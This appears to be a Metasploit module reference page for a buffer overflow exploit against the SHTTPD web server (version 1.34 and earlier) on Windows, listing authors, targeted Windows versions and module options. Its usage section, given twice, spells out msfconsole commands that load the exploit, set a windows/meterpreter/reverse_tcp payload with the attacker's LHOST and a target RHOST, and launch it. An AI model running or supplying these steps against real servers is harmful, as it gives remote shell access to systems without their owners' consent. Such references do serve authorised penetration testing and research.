SHTTPD <= 1.34 URI-Encoded POST Request Overflow (win32)
This module exploits a stack buffer overflow in SHTTPD <= 1.34. The vulnerability is caused due to a boundary error within the handling of POST requests. Based on an original exploit by skOd but using a different method found by hdm.
Exploit Rank
- Average
Exploit Authors
- LMH < lmh [at] info-pull.com >
- hdm < hdm [at] metasploit.com >
- skOd < >
Vulnerability References
Exploit Targets
- 0 - Windows NT English SP5-SP6
- 1 - Windows 2000 Spanish SP4
- 2 - Windows 2000 French SP4
- 3 - Windows 2000 English SP0-SP4
- 4 - Windows 2000 French SP0-SP4
- 5 - Windows 2003 Server English SP0-SP1
- 6 - Windows XP German SP2
- 7 - Windows XP German SP1
- 8 - Windows XP English SP2
- 9 - Windows XP English SP0-SP1
Exploit Development
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Exploit Usage Information
$ msfconsole
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msf > use exploit/windows/http/shttpd_post
msf exploit(shttpd_post) > show payloads
msf exploit(shttpd_post) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(shttpd_post) > set LHOST [MY IP ADDRESS]
msf exploit(shttpd_post) > set RHOST [TARGET IP]
msf exploit(shttpd_post) > show targets
msf exploit(shttpd_post) > set TARGET [TARGET ID]
msf exploit(shttpd_post) > exploit
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msf > use exploit/windows/http/shttpd_post
msf exploit(shttpd_post) > show payloads
msf exploit(shttpd_post) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(shttpd_post) > set LHOST [MY IP ADDRESS]
msf exploit(shttpd_post) > set RHOST [TARGET IP]
msf exploit(shttpd_post) > show targets
msf exploit(shttpd_post) > set TARGET [TARGET ID]
msf exploit(shttpd_post) > exploit
Exploit Module Options
| RHOST | The target address |
| RPORT | The target port (default: 80) |
| CHOST | The local client address |
| CPORT | The local client port |
| ConnectTimeout | Maximum number of seconds to establish a TCP connection |
| ContextInformationFile | The information file that contains context information |
| DisablePayloadHandler | Disable the handler code for the selected payload |
| EnableContextEncoding | Use transient context when encoding payloads |
| Proxies | Use a proxy chain |
| SSL | Negotiate SSL for outgoing connections |
| SSLVersion | Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1) |
| VERBOSE | Enable detailed status messages |
| WORKSPACE | Specify the workspace for this module |
| WfsDelay | Additional delay when waiting for a session |
| TCP::max_send_size | Maxiumum tcp segment size. (0 = disable) |
| TCP::send_delay | Delays inserted before every send. (0 = disable) |